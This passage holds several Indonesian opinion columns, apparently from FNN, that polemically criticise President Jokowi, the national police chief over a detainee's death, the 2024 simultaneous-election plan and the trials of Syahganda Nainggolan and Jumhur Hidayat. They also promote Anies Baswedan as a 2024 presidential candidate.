dengan framing menebar kebencian. Kalau Pak Jokowi gak percaya, tanyakan ke ekonom Kwik Kian Gie yang dibuzzer habis-habisan lantaran mengemukakan pendapat berbeda. Padahal niatnya cukup baik, memberi langkah alternatif. Tapi buzzer tak mengenal kosa kata kritik. Mereka membalas Kwik, bahkan menyentuh ranah pribadi Pak Kwik. Atau Pak Jokowi bisa ngecek di akun twitter, karena mantan menteri Anda, Susi Pudjiastuti menyampaikan langsung keluhannya. Bu Sus menulis, pandemi sudah cukup membuat depresi sosial, ekonomi dan kesehatan. Ia memohon presiden menghentikan ujaran kebencian yang mengatasnamakan agama, ras, suku ataupun relawan. Kekhawatiran Bu Susi berbanding lurus dengan pernyataan Direktur Eksekutif Amnesty International Indonesia Usman Hamid yang menilai pembuatan UU ITE seharusnya menekankan perlindungan dan keamanan informasi masyarakat. Usman tidak melihat urgensi pasal pencemaran nama baik dan ujaran kebencian di dalam UU ITE. Menurutnya, kedua pasal itu dihapus saja, apalagi pencemaran nama baik sudah ada di KUHP. Kembali ke Bu Susi, mengapa permohonan penghentian ujaran kebencian ditujukan ke Pak Jokowi? Karena bapak adalah Presiden Indonesia, yang dengan gamblang meminta agar masyarakat tidak ragu-ragu melontarkan kritikan. Terus terang pak, saya tersenyum. Bukankah tema lawakan Srimulat sering menggunakan paradoks semacam itu. Pembantu yang diperankan Tessy, diminta untuk berperilaku sebagaimana lazimnya sang majikan. Anggap saja rumah sendiri, kecuali berbagi ranjang dengan istri. Nah jangan-jangan yang dimaksud Pak Jokowi seperti majikan Tessy. Lontarkan kritikan, asalkan jangan ke Pak Jokowi. Ahh... Pak Jokowi begitu. Tapi cukup menghibur kok. Penulis adalah Pemerhati Seni.

Jokowi dan PBSI, Please Deh Jangan Norak

By Rahmi Aries Nova Jakarta, FNN - KETUA Umum Persatuan Bulutangkis Indonesia (PBSI) Agung Firman Sampurna tiba-tiba menyatakan niatnya menggelar turnamen bulutangkis bertajuk Piala Presiden. Ide tersebut muncul seusai ia menghadap Presiden Jokowi di Istana beberapa waktu lalu. Dalihnya, di cabang lain, seperti sepakbola dan tinju punya turnamen Piala Presiden, mengapa di bulutangkis tidak? "Bulutangkis sangat layak memiliki ajang sekelas Piala Presiden. Sebab, bulutangkis merupakan olahraga kebanggaan Indonesia serta yang paling banyak menyumbangkan prestasi di gelaran internasional. Sepakbola dan tinju punya Piala Presiden, sedangkan bulutangkis yang merupakan olahraga dengan prestasi internasional bertahun-tahun tidak punya Piala Presiden,” kata Agung dalam laman resmi PBSI, Jumat (5/2). Pernyataan Agung sungguh menggelikan, kalau tidak boleh disebut mengecewakan. Nggak nyambung, kalo istilah anak sekarang. Apa hubungannya prestasi di gelaran internasional dengan Piala Presiden? Yang nyambung itu kalau prestasi diganjar bonus dari presiden. Atau seperti China dan Korea Selatan yang atlet peraih emas Olimpiadenya dijamin hidupnya sampai tua alias pensiun seumur hidup. Tidak seperti di Indonesia, memberikan pensiun untuk peraih emas Olimpiade yang cuma segelintir saja tidak bisa. Parahnya lagi Agung atau Jokowi sepertinya tidak paham kalau kalender BWF (Federasi Bulutangkis Dunia) juga amat padat. Begitu juga kejuaraan di regional Asia, bahkan nasional. Kalau maksud Agung ingin memasukkan Piala Presiden ke dalam kalender BWF (internasional) rasanya tidak mungkin. Karena saat ini saja BWF sudah cukup pusing untuk menjadwal ulang turnamen-turnamen yang batal karena Covid-19. Jangan lupa PBSI membutuhkan perjuangan puluhan tahun untuk menggolkan Piala Sudirman, Kejuaraan Beregu Campuran, menjadi ajang kejuaraan beregu resmi BWF, selain Piala Thomas dan Uber. Agung seolah-olah juga tidak tahu kalau pergelaran Piala Presiden di cabang sepakbola pada 2015 adalah karena 'kecelakaan'. Kala itu pemerintah ingin menutup malu setelah PSSI terkena sanksi FIFA karena ulah Menpora Imam Nahrawi yang kini di bui. Untuk mengganti liga yang tidak boleh bergulir, dihelatlah Piala Presiden. Jadi, Piala Presiden adalah turnamen untuk mengisi waktu yang kosong karena tidak ada liga, dan berikutnya dijadikan turnamen pra-musim jelang liga yang pelaksanaannya kerap tertunda. Suatu hal yang tidak terjadi di bulutangkis karena turnamen sudah sangat padat dan kewajiban PBSI mengirim pemain sebanyak mungkin ke turnamen-turnamen tersebut sepanjang tahun. Intinya, Piala Presiden bukanlah suatu yang penting yang harus digulirkan di cabang bulutangkis. Harusnya, Jokowi bukan menantang Agung untuk membuat Piala Presiden, tetapi menantangnya berani pasang target berapa medali emas yang harus diraih di Olimpiade Tokyo mendatang? Atau lebih hebat lagi kalau Jokowi berani menjanjikan bahwa seluruh dana pembinaan cabang yang prestasinya internasional semua ditanggung full oleh pemerintah terutama bulutangkis. Jadi, Agung yang Ketua Badan Pengawas Keuangan (BPK) tak perlu repot-repot 'menginjak' BUMN untuk mau menjadi sponsor PBSI. Pembinaan kita juga akan bisa menyaingi China dan meraih makin banyak gelar di masa mendatang. Melahirkan Susi Susanti dan Taufik Hidayat baru lebih penting ketimbang menggelar Piala Presiden. Jangan dibalik yaaa..! Please deh, jangan norak dengan gagasan Piala Presiden untuk bulutangkis! ** Penulis adalah wartawan Senior FNN.co.id.

Meski Diganjal, Anies Tetap Berpeluang Menjadi Presiden 2024

by M. Rizal Fadillah Bandung FNN - Sepanjang tidak terbuka jalan kriminalisasi, maka Anies Baswedan Gubernur DKI sulit untuk dibendung menjadi Presiden Republik Indonesia 2024-2029 nanti. Baik elektabilitas maupun popularitas yang cukup tinggi, sehingga sampai sekarang belum mampu ada yang bisa menandingi. Semua kandidat yang bermunculan sekarang, masih jauh di bawah Anies. Meskipun belum dipastikan Partai Politik yang bakaln menjadi pengusung Anies, tetapi kendaraan itu akan mudah untuk didapat bila sudah tersedia elektabilitas dan popularitas tinggi. Gula selalu didatangi semut. Partai Nasdem misalnya, sudah memberikan sinyal dan ancang-ancang kalau bakal mendorong Anies sebagai Calon Presiden pada Pilpres 2024 nanti. Saat ini rezim status quo sedang berupaya dengan segala cara untuk mengganjal laju Anies. Konspirasi dilakukan dengan sangat masif. Baik itu melalui bully buzzer, opini yang melemahkan, bahkan melalui peraturan perundang-undangan. Akting "blusukan" Menteri Sosial (Mensos) Tri Rismaharini juga bagian dari upaya-upaya penjegalan tersebut. Namun Anies Baswedan tetap bergerak dengan prestasi dan penghargaan yang dinilai obyektif. Tidak mengeda-ngada dan melakukan rekayasa. Tidak juga membuat pencitraan di sana-sini. Serangan demi serangan dilayani Anies dengan sikap tenang dan modal pengalaman yang matang. Semua serangan dijawab dengan kerja nyata. Bukan dijabwab dengan kata-kata. Terakhir rencana revisi Rancangan Undang-Undang (RUU) Pilkada serentak untuk dilaksanakan tahun 2022. Namun dimentahkan oleh "buldozer Jokowi” yang mengarahkan Pilkada tetap tahun 2024. Bersamaan dengan Pileg dan Pilpres. Sebagian partai koalisi pendukung yang semula menghendaki Pilkada di 2022 dan 2023 segera balik badan mengamini. Dengan demikian, berubah sikap semua Partai Politik dari semangat awal yang menghendaki revisi UU Pildaka, kecuali PDIP. Dengan Pilkada tahun 2024, maka Anies harus menyerahkan jabatan Gubernur kepada Plt Gubernur pada tahun 2022. Maksud konspiratifnya adalah Anies Baswedan dalam kompetisi Pilpres 2024 tidak lagi berstatus sebagai Gubernur DKI. Ini dianggap kelemahan dari Anies kelak. Benarkah rencana? Belum tentu benar juga. Bisa jadi ini merupakan keuntungan politik untuk Anies. Sebab, jika Pilkada dilakukan pada tahun 2022, meskipun Anies berpeluang memenangkan kompetisi untuk menjadi Gubernur lagi, akan tetapi biaya ekonomi dan politiknya sangat besar untuk mampu fit kembali bertarung di Pilpres 2024. Sebaliknya, dengan konsentrasi penuh bagi Pilpres 2024, maka persiapan akan lebih baik dan ringan. "Kampanye" lebih dini dapat berjalan, dukungan pun mulai digalang jauh-jauh hari. Anies bisa keliling Indonesia dengan mudah, tanpa terganggu dengan tugas-tugas sebagai Gubernur DKI Jakarta. Waktu lebih banyak untuk konsolidasi dan menyapa rakyat di daerah-daerah. Jadi agenda yang semula untuk "memotong" Anies, akan berubah menjadi "menolong". Suka atau tidak, mendukung atau menolak, namun faktanya hari ini Anies Baswedan masih menjadi kandidat terkuat. Belum terlihat ada lawan yang sepadan. Kesempatan besar untuk melakukan pilihan Partai. Pilpres 2024 menjadi momen untuk mengukuhkannya sebagai Kepala Negara dan Kepala Pemerintahan. Upaya mengganjal Anies adalah pengakuan betapa sulit untuk mengalahkannya bila sudah memasuki fase kompetisi. Upaya yang kemungkinan hasilnya hanya sia-sia. Bahkan bisa jadi sebaliknya, semakin meningkatkan elektabilitas dan popularitas Anies. Apalagi pengakuan lembaga-lembaga internasional atas prestasi dan kemampuan Anies semakin berdatangan dari mana-mana. Ada yang menarik dari pandangan mantan Waketum Partai Gerindra Arief Poyouno yang menyatakan bahwa satu-satunya orang yang dapat mengalahkan Anies Baswedan di Pilkada DKI adalah Gibran Raka Buming. Jika Pilkada dilaksanakan tahun 2022. Tentunya setelah menjadi Gubernur, Gibran seperti ayahnya mungkin saja maju lagi untuk Pilpres 2024. Entah serius atau main-main, Mas Arief ini berpandangan seperti itu. Sulit untuk ditebak. Sama sulitnya dengan melihat status Gibran menjadi kompetitor melawan Anies sebagai Walikota Solo atau pengusaha Martabak? Yang jelas Gibran harus banyak belajar politik dulu sebelum mimpi terlalu jauh. Matang di pohon yang bukan karbitan, tidak menjadi mainan taipan, atau bermodal sekedar anak dari seorang Presiden. Istana bukan panggung drama atau sandiwara. Istana bukan tempat bergaya untuk para pemain sandiwara, lalu penonton pun terpaksa tertawa he he he, hanya karena rasa kasihan. Penulis adalah Pemerhati Politik dan Kebangsaan.

Ustad Maaher Mati di Rutan Bareskrim, Kapolri Sigit Mundurlah

DITENGAH sikap, entah apa namanya, Polri dibawah Jendral Listyo Sigit, yang tidak juga menyidik anak buahnya dalam peristiwa pembunuhan enam laskar Front Pembela Islam (FPI) di kilometer 50 tol Jakarta-Cikampek (Japek). Namun Indonesia disentak lagi dengan satu kematian. Ustad Maaher, yang semasa hidupnya kritis terhadap pemerintah. Setidaknya kritis kepada pendukung-pendukung pemerintah, mati. Ustad Maaher mati pada hari Senin (8/2/2021), usai ba’da maghrib. Almarhum mati di Rumah Tahanan (Rutan) Badan Reserse Kriminal (Bareskrim) Markas Besar Kepolisian Republik Indonesia. Almarhum ditahan di rutan ini, karena disangka melakukan tindak pidana menyebarkan berita yang dapat menimbulkan gangguan Suku, Agama Ras dan Antargolongan (SARA). Bareskrim yang pada saat itu dipimpin Listyo Sigit, sekarang Kapolri terlihat hebat. Sangat responsive. Segera setelah menerima laporan, anak buah Sigit menindaklanjutinya. Almarhum ditangkap di rumahnya di Bogor. Penangkapan dilakukan dini hari. Sigit sangat sensitive terhadap kasus almarhum. Sigit yang Kabareskrim kala itu memang top markotop. Mati tiba-tiba? Tidak begitu juga. Mabes Polri telah memberikan penjelasan seputar meninggalnya Ustad Maaher. Dilansir dari Republika,.co.id, adapun perkara almarhum sudah masuk tahap dua, dan sudah diserahkan ke kejaksaan. Tetapi sebelum tahap dua dilaksanakan yang bersangkutan mengeluh sakit. Kata Argo Yuwono, "kemudian petugas rutan, termasuk tim dokter membawanya ke RS Polri Kramat Jati. Setelah diobati dan dinyatakan sembuh, yang bersangkutan dibawa lagi ke Rutan Bareskrim". Setelah tahap dua selesai, barang bukti dan tersangka diserahkan ke jaksa, namun Maaher kembali mengeluh sakit. Lagi-lagi, petugas rutan dan tim dokter menyarankan agar dibawa ke RS Polri, tetapi yang bersangkutan tidak mau, sampai akhirnya meninggal dunia. "Soal sakitnya apa, tim dokter yang lebih tahu. Jadi, perkara Ustad Maaher ini sudah masuk tahap dua, dan menjadi tahanan jaksa," terang Kepala Divisi Humas Polri Irjen Pol. Argo Yuwono, Senin (8/2). Dilansir RMol (9/2/2021) Argo Yuwono menegaskan, "ini karena sakit meninggalnya. Saya enggak bisa sampaikan sakitnya apa. Karena sakit yang sensitif ini bisa berkaitan dengan nama baik keluarga almarhum," kata Kadiv Humas Polri, Irjen Argo Yuwono di Mabes Polri, Jakarta, Selasa (9/2). Tidak bisa kasih keterangan tentang sakitnya almarhum, tetapi ko bisa menyatakan sakitnya sensitif? Hebat sekali tuan Argo Yowono ini. Logika tuan ini mungkin hanya bisa dimengerti oleh tuan sendiri dan Kapolri. Yang lain seperti kami-kami ini tidak bisa memahami. Orang menderita sakit, lalu mati, dan sakitnya bisa berkaitan dengan nama baik keluarga? Top juga logika bos Argo ini. Apakah logika ini muncul setelah dirinya memperoleh arahan dari Kapolri, Jendral Listyo Sigit? Hanya Allah Subhanahu Wata’ala, malaikat dan mereka berdua yang tahu. Pak Argo dan Pak Kapolri, sudilah dapat memberi jawaban otoritatif terhadap pertanyaan kecil berikut ini. Sahkah secara hukum kalau ada orang sembunyikan penyakit postif Covid-19? Kalau ada orang yang selesai diperiksa di Rumah Sakit, misalnya rumah sakit Omni di Bogor, Rumah Sakit yang Habib Rizieq Shihab (HRS) pernah memeriksakan kesehatannya. Orang itu positif Covid-19, tetapi yang bersangkutan tidak mau beritahukan kepada siapapun, karena menyangkut nama baik keluarganya, bisakah tindakannya itu dikualifikasi melakukan tindak pidana? Pak Argo dan Pak Kapolri, tolonglah beri jawaban yang otoritatif juga. Sekarang mari beralih kesoal yang agak teknis. Ya perkara almarhum, semoga Allah Subhanahu Wata’ala, yang Maha Pengampun, dengan ampunannya yang tak memiliki ujung, merahmati, telah dinyataklan P.21. Apa makna hukumnya? Makna hukumnya adalah tanggung jawab hukum atas tersangka beralih dari penyidik ke Kejaksaan. Itu satu soal. Soal kedua, tanggung jawab terhadap fisik Ustad Maaher dan segala yang terkait fisik tersangka. Ya tentu saja kesehatan dan lainnya masih ada pada pihak Rutan. Nah. Rutan dalam kasus ini adalah Rutan Bareskrim. Jadi petugas Rutan tak bisa lepas tanggungg jawab. Namun sudahlah, itu soal kecil. Terlalu kecil untuk didiskusikan. Petugas Rutan itu tak berpangkat Jendral bintang dua atau tiga. Mereka, kami duga, tidak punya wewenang bikin kebijakan untuk tahanan, yang jelas-jelas top, karena sikap kritisnya terhadap pemerintah. Para petugas Rutan ini, tak mungkin tak berada dibawah perintah Bos-bosnya. Dalam urusan tahan-menahan ini, Bos terbesarnya tidak mungkin lain selain Kabareskrim dan Kapolri. Di luar itu tidak ada. Wahai Jendral Listyo Sigit, sang Kapolri pilihan Presiden Jokowi. Tidak adakah kearifan kemanusiaan pada dirimu yang terlihat jago dan hebat ketika menjalani fit and proper test di Komisi III DPR? Sehingga setelah dari Rumah Sakit, almarhum masih harus ditahan juga? Beginikah cara tuan Kapolri memahami penegakan hukum dan soal-soal kemanusiaan pada sila kedua dan kelima dari Pancasila? Kalau almarhum telah sehat, mengapa mati? Berapa lama waktu antara almarhum mengeluh sakit hingga mati? Dia mengeluh sakit, tetapi tidak mau dibawa lagi ke rumah sakit, sehingga atas dasar itu, pantaskah almarhum harus terus berada dalam Rutan? Hebat betul postur penegakan hukum yang tuan sajikan sejauh ini untuk republik kita. Padahal belum cukup sebulan tuan Kapolri menjalani fit and proper test di DPR, yang terlihat seperti mengagumkan, menjanjikan harapan perbaikan dunia hukum ke depan. Tuan Kapolri, apakah tuan tak punya secuil rasa? Tuan Kapolri, segersang inikah dunia hukum untuk mereka yang kritis terhadap pemerintah? Beginikah politik penegakan hukum yang tuan sajikan dalam kepemimpinan tuan sebagai Kapolri? Tuan kencangkan demarkasi lawan dan kawan pemerintah sebagai basis kebijakan penegakan hukum? Safari tuan ke Ormas-ormas Islam, Kejaksaan Agung, KPK, dan lainnya, terus terang, tidak disambut sebagai perubahan penegakan hukum. Bukan omong kosong, tetapi apa yang dapat diambil dari situ untuk melukis seindah-indahnya postur penegakan hukum? Apa yang bisa tuan argumentasikan bahwa safari itu merupakan variable penentu perbaikan postur penegakan hukum? Tuan mau sodorkan safari itu sebagai penanda penegakan hukum dibawah tuan akan menjauh dari diskriminasi? Tuan rajin bersafari, hingga kasus kilometer di 50 tol Japek menjadi cerita pilu yang terus mengeras di memori orang-orang berbudi pekerti. Tuan keringkan cinta kasih dengan cara membiarkan selama mungkin kasus itu? Tuan juga akan gersangkan akal budi atas kematian almarhum Ustad Maher ini? Tuan Kapolri punya kuasa besar, yang selain Presiden. Tidak seorang pun yang bisa mengubah sikap tuan Kapolri. Tuanlah panglima penegakan hukum, dalam banyak hal. Tuan punya kuasa menggunakan senjata. Tuan juga punya kuasa mengarahkan hukum. Tuan bisa bikin apa saja semau tuan dan Presiden. Sungguh tega sekali, entah tuan sendiri atau dengan yang lain. Tuan menolak permohonan istri almarhum agar bisa ditangguhkan penahanannya. Sungguh kami tak mampu merenungkannya. Hati ini terluka, tercabik-cabik. Terlalu berat untuk dibayangkan, dan terlalu menusuk cita rasa kemanusiaan untuk diingat. Entah bagaimana cara tuan memahami sila kedua dan kelima Pancasila yang sarat dan penuh dengan muatan kemanusian yang berdab itu? Apakah hanya menjadi lipstik semata? Rasanya bukan soal cinta, yang menjadi dasar dia, sang istri untuk memohon penangguhan. Toh almarhum memang nyata-nyata sakit. Tidakkah kenyataan itu beralasan secara hukum? Subhanalllah, walaupun musim hujan dan banjir terjadi dimana-mana, namun sungguh kering dan gersang hukum di negeri ini menjiwai makna keadilan yang beradab, terutama ketika dipimpin Presden Jokowi. Ya Allah Ya Rabbii, tunjukanlah kearifan-Mu yang tak terjangkau oleh mahluk apapun itu kepada Tuan Kapolri Sgit dan Tuan Presiden Jokowi. Cerahkan mereka berdua dengan Nur Mu yang mulia, agar bangunan hukum di negeri ini, tidak terus-terusan menjauh dari Sila Pertama Pancasila. Juga sila kemanusiaan yang adil beradab, dan sila keadilan sosial bagi seluruh rakyat Indonesia. Sungguh kami lelah mengarungi samudra hukum dalam pemerintahan Jokowi. Merana, hampir menjadi teman disetiap menit yang kami lalui dalam dunia hukum. Kami hampir tak mampu lagi menemukan jawaban untuk semua ini. Sungguh kami merasa keangkuhan telah menjadi ciri hukum di negeri ini. Pak Kapolri, timbanglah dirimu. Temukanlah jawaban yang jujur. Apakah Tuan Kapolri memang orang yang tepat untuk memimpin Kepolisian? Terus terang kami tak mampu menaruh kepercayaan atas kepimpinan Tuan. Sebab Tuan telah memimpin Bareskirm. Dalam masa Tuanlah terjadi perisitwa pembunuhan enam laskar FPI. Dalam kepemimpinan Tuan jugalah terjadi penangkapan dan penahanan, almarhum dan lainnya. Mereka adalah Jumhur Hidayat, Sahganda Nainggolan, Anton Permana, Ibu Kinkin, Habib Rizieq, Ustad Sobri Lubis dan lainnya. Itulah kepempinan Tuan selama di Bareskrim. Ini nyata. Bukan mengarang bebas.com. Ini tidak bisa untuk disepelekan. Terus terang, itu sebabnya sukar sekali kami memberi kredit poin yang positif kepada tuan. Sudahlah Pak Kapolri, sudilah tinggalkanlah jabatan itu. Tuan memang punya konsep Presisi yang sepintas terlihat hebat, entah sebagai tandingan konsep Promoter atau tidak, itu tidak lagi penting. Namun Presisi, tetapi ada orang yang mati di dalam tahanan Bareskrim itu sangat menggelikan dan buruk.

Jokowi Rindu Kritikan Chrisye Beri Jawaban

by Jarot Espe Surabaya, FNN- Siapa tak kenal Christian Rahadi yang populer dengan sebutan Chrisye? Selain mewariskan album prima, legenda pop Indonesia itu menyimpan kisah religius di balik penciptaan karya fenomenal yang sarat makna. Chrisye larut dalam tangis, hatinya begitu terguncang, setiap kali mencoba melantunkan lagu yang baru tercipta. Ia akhirnya menyerah, sementara Yanti istrinya, tak kalah bingung. Chrisye pun bertanya, dari mana sastrawan Taufik Ismail yang diminta membuat syair lagu itu mendapat ilham? "Dari langit!" jawab Taufik Ismail yang bergelar Datuk Panji Alam Khalifatullah. Ia mengaku menukil surat Yasin setelah berhari hari gagal menemukan syair religius sesuai permintaan Chrisye. Di kemudian hari, publik mengenal lagu fenomenal itu bertitle "Ketika Tangan dan Kaki Berkata". Taufik tidak menyadur seluruh surat Yasin, melainkan hanya ayat 65. Namun itu sudah cukup menggambarkan peringatan keras dari Sang Khalik. Tidak berlaku pembatas untuk bersandiwara. Semasa hidup, manusia memang pandai bersandiwara, lihai menyusun kata, pintar beralibi untuk menutupi aksi. Berapapun jumlah buruh menuntut keadilan atas kedzoliman rezim, yang terjawab adalah sikap berpura-pura, seolah tidak terjadi apa-apa. Ranah keadilan diklaim merupakan hak mutlak penguasa. Begitu pula, manakala nyawa melayang, tubuh bergelimpangan di ruas tol akibat diterjang peluru polisi, yang muncul adalah skenario mulut manusia. Padahal ini menyangkut nyawa khalifah di muka bumi, yang tak seorangpun sanggup mengembalikan ruh yang terlepas dari raga. Dalam batas ini, karya klasik Chrisye dan Taufik Ismail, sampai kapan pun tetap relevan. Betapa tidak, ini terkait janji Allah. Seluruh mulut manusia akan terkunci rapat, tidak bisa bicara. Ini juga yang akan dialami ratusan petugas KPPS yang tewas selama pelaksanaan Pemilu 2019. Kelak anggota tubuh lain yang akan menggantikan peran mulut, untuk memberikan testimoni. Kesaksiannya sahih, tak bisa diragukan, karena diungkapkan saksi yang berada di tempat dan waktu yang tepat. Selama ini tidak ada penyelidikan atas kasus kematian petugas Kelompok Penyelenggara Pemungutan Suara (KPPS). Desakan berbagai kalangan agar pemerintah mengungkap kematian petugas KPPS menguap seiring berjalannya waktu. Padahal penyelidikan diperlukan untuk mengurai akar permasalahan agar tidak terulang di kemudian hari. Benarkah pileg dan pilpres tahun 2019 yang digelar serentak, telah menguras tenaga petugas KPPS dan menjadi penyebab kematiannya? Ataukah ada faktor lain? Dan bayang-bayang kematian petugas KPPS di tahun 2019 kembali terungkap ke permukaan, mengiringi proses politik di Tanah Air. Berdasarkan UU Pilkada Nomor 10 Tahun 2016, pelaksanaan Pilpres, Pileg dan Pilkada dilakukan serentak di tahun 2024. Awalnya, hanya PDIP yang menolak revisi UU Pilkada. Artinya Kepala daerah yang berakhir masa baktinya di tahun 2022 akan diganti oleh pejabat pelaksana tugas (PLT). Adapun mayoritas partai lain, menginginkan revisi, untuk mencegah korban berjatuhan. Sebab pada Pilpres dan Pileg 2019, sebanyak 894 petugas KPPS meninggal dunia tanpa diinvestigasi. Revisi UU untuk memisahkan pelaksanaan Pilkada di tahun 2022 dan 2023. Adapun Pilpres dan Pileg tetap digelar di tahun 2024. Revisi UU Pilkada diharapkan juga membantu pemilih jangan sampai gagal fokus. Sebab dengan Pemilu serentak tahun 2024, puluhan nama serta wajah kandidat dicetak memenuhi kartu coblosan. Namun apa yang terjadi kemudian, sungguh diluar nalar akal sehat. Undangan Presiden Jokowi kepada pimpinan parpol ke istana, mengubah peta politik. Hanya PKS dan Partai Demokrat yang tetap menginginkan revisi UU. Nasdem pun berbelok arah mendukung Pak Jokowi. Partai partai itu dengan enteng menyampaikan alibinya, meskipun tak bisa menghapus kesan motif politis di balik pelaksanaan pesta demokrasi serentak tahun 2024. Bercermin pada Pemilu terakhir, apakah para politisi dan Pak Jokowi, bertanggung jawab jika nantinya korban jatuh bergelimpangan pada pemilu serentak 2024? Atau akan dibiarkan sebagaimana peristiwa tahun 2019? Terlontar pula pertanyaan bernada skeptis; adakah cara ampuh untuk menggugah hati nurani? Mereka tampaknya lupa atau pura pura alpa, atau memang benar benar tidak paham pesan religi lagu Chrisye yang syairnya dinukil dari firman Allah SWT. Jadi Pak Jokowi, ketimbang Anda berlama-lama menunggu kritikan, sebaiknya lebih bermanfaat digunakan untuk berlatih bernyanyi, meneladani sosok Chrisye. Sepanjang kaki masih berpijak di bumi, mumpung mulut belum rapat terkunci. Mari pak, bernyanyi untuk mengingat mati. Penulis adalah Pemerhati Seni

Pak Hakim, Jangan Hukum Syahganda dan Jumhur

by Dr. Margarito Kamis SH. M.Hum (Bagian Pertama) Ternate FNN - Tim penasihat hukum Syahganda yang berjumlah 25 orang terlihat skeptis terhadap persidangan Syahganda. Sikap itu diperlihatkan, pada satu sidang dengan walk out. Skeptisisme itu terlihat juga pada persidangan Jumhur Hidayat. Sama, ada keraguan terhadap bobot kejujuran hakim yang menyidangkan perkara mereka. Kalau kasus yang dipaksankan kepada Sahghanda, telah memasuki pemeriksaan bukti. Ini berbeda dengan peradilan untuk kasus yang dipaksakan kepada Jumhur. Sidang perkara Jumhur baru sampai tahap putusan sela. Tetapi apapun itu, skeptisisme telah melilit kencang tubuh kejujuran peradilan. Kemuliaan Artifisial “Yang Mulia”, itu panggilan untuk hakim di peradilan manapun. Sebutan itu harus duiberikan kepada mereka saat para hakim yang memeriksa dan mengadili sebuah perkara, apapun itu. Hakim, entah berkelakuan baik, berpengetahuan top atau tidak, harus dipanggil dengan sebutan “Yang Mulia” kala mereka memeriksa dan mengadili perkara. Itu absolut. Sebegitu mulianya hakim, sehingga penghormatan kepada mereka diberikan sejak hakim itu memasuki ruang sidang. Bahkan hingga meninggalkan ruang sidang itu. Berdiri dan bersikap hormat, itu sikap yang diharuskan oleh adab peradilan kepada siapapun kala hakim memasuki dan meninggalkan ruang sidang. Begitu peradaban hukum memuliakan para ahli yang putus perkara ini. Sebutan mewah itu disodorkan peradaban hukum, karena “adil” bekerja dan menemukan bentuk kongkrit melalui putusan mereka. Peradaban hukum tak membekali mereka dengan senjata dan pasukan. Tidak. Peradaban hukum hanya membekali mereka dengan “independensi.” Itu benteng dan senjata mereka yang tercanggih. Peradaban hukum betul-betul memandang mereka sebagai hal penting ,yang tidak terkira. Contemp court, untuk tujuan itu, disodorkan untuk mengaja kehormatan mereka. Tetapi semulia-mulianya hakim didunia ini, pasti tak lebih mulia dari wali Allah Subhanahu Wata’ala. Kemulian hakim diberi oleh hukum, sedangkan kemuliaan para wali Allah datang dengan sendirinya. Wali malah menyembunyikan kemuliaannya dihadapan manusia. Kemuliaan yang didemonstrasikan, sejatinya bukan kemuliaan. Itu sebabnya wali tak mencari dan meminta orang memuliakan mereka. Sama sekali tidak. Hanya Allah Subhanahu Wata’ala yang tahu kewalian mereka. Top markotop. Hakim pasti tak mencarinya. Kemulian mereka diberikan oleh peradaban hukum. Karena sejumlah pertimbangan, yang epistemologisnya jelas. Itulah beda hakim dan wali. Hakim dimuliakan oleh peradaban politik dan hukum karena dalam sifat epistemologisnya berinduk pada keadilan. Main golf, bukan pekerjaan wali. Entah kalau hakim. Boleh jadi ada yang melepas penat dengan cara main golf. Mungkin seiring datangya kepenatan berurusan dengan tumpukan erkas yang harus diselesaikan. Apakah hakim-hakim di pengadilan negeri Depok, yang saat ini sedang memeriksa, mengadili dan akan memutus perkara sahabat Dr. Syahganda Nainggolan, melepas penat dengan cara golf? Entahlah. Hebatkah mental hakim-hakim ini? Entahlah. Sikap hakim yang tidak membolehkan Dr. Syahganda Nainggolan hadir di persidangan merupakan sikap terkordinasi? Entahlah. Bila ya, dengan siapa kordinasi dilakukan? Layakkah kordinasi dipertimbangan dalam menganalisis kenyataan pahit nan pedih ini? Tak ada alasan untuk spekulasi bicara. Hakim-hakim yang hebat atau biasa-biasa saja, dimanapun di dunia ini tahu, mereka bukan tukang hukum orang. Pasti itu. Tukang hukum itu pekerjaan orang tak berakal. Bandit pun belum tentu mampu melakukannya. Mereka juga punya rasa, punya belas kasih, punya akal dan hati. Para hakim didunia ini tahu pekerjaan mereka adalah menemukan hukum untuk perkara yang mereka periksa, adili dan putus. Tidak lebih. Menemukan itu setara pekerjaan meniti titian tipis terjal. Sekejab saja hilang fokus, keseimbangan melayang, anda akan terjatuh, terjerembab dalam derita nan pedih. Itu dicontohkan oleh hakim Syuraih, sang ahli fiqih, yang diangkat Sayidina Abubakar menjadi hakim ini. Syuraih, hakim top sepanjang masa ini, dalam sejarah peradaban hukum Islam terukir utuh dengan konsistensi, tawaddu tanpa batas. Tawaddu, karena ia mengerti risiko dirinya, baik sebagai hamba Allah maupun sebagai hakim. Kedalaman pemahamannya terhadap Din Islam, hak dan bathil, asbabun nudzul teks dari kalam Allah, sungguh mengagumkan. Syuraih tahu keharusan berlaku adil dalam memutus perkara. Dia juga tahu akhir hidup yang pasti. Kedalaman ilmunya menenggelamkan diri di lautan kalam Allah, tersaji menjadi kunci utama dia menghidupkan samudara keadilan. Sebab di jalan itu dia memperlakukan para Khulafa Ar-Rashidin, Sayidina Umar dan Sayidina Ali, sebiasa dia memperlakukan rakyat biasa. Dia, terlihat pada perkara baju besi yang diklaim Sayidina Ali Bin Abi Thalib, memperlakukan teks tidak sebatas huruf demi huruf. Dia mengerti yang dikenal dengan beyond the text. Tahu penyebab lahirnya teks itu. Pengetahuannya membawa dirinya menyelami apa yang disebut asbabul nudzul-nya, atau apa yang P.S Atiyah, ahli hukum Inggris sebut sebagai black box. Syuraih tak mungkin dicampakan sejarah. Ia terlalu anggun untuk dibiarkan tercecer dalam memori pemikiran dan peradaban peradilan Islam. Tak canggung, atau harus berkoordinasi dengan Sayidina Ali. Ia memutus berdasarkan hukum dan ilmu yang dipunyainya. Status Sayidina Ali sebagai Imam dan Amirul Mukminin, tak mampu membuat Syuraih kehilangan iman. Kebesaran Sayidina Ali, tak membuatnya membungkuk khas jongos, yang terampil dengan suka menjilat kekuasaan. Hebat, sebab adil itu perkara besar. Lebih besar dari semesta. Adil itu jelas, bukan perkara politik kelas pecundang. Bukan. Ini perkara, yang terlalu besar untuk dianggap biasa. Adil bukan perkara teknis hukum. Adil bukan perkara, yang John Rawls, Hakim Agung Amerika yang top itu sebut fairness. Memahami teks, adalah step awal absolut bagi hakim. Tetapi teks tidak pernah sempurna sebagai penanda maksud pembuatnya. Teks selalu memiliki konteks. Konteks hanya dapat dimengerti kalau diinterpretasi. Interpretasi, bukan kegiatan yang lepas tuntas dari kedalaman pengetahuan dan derajat nilai yang dianut oleh hakim. Interpretasi tidak mungkin tidak merupakan pengujian, tes, terhadap keselarasan norma dengan prinsip-prinsip yang melembaga dalam sistem hukum, yang menjadi bagian integralnya. Derajat keterterimaan norma yang bersifat hipotetikal, dan 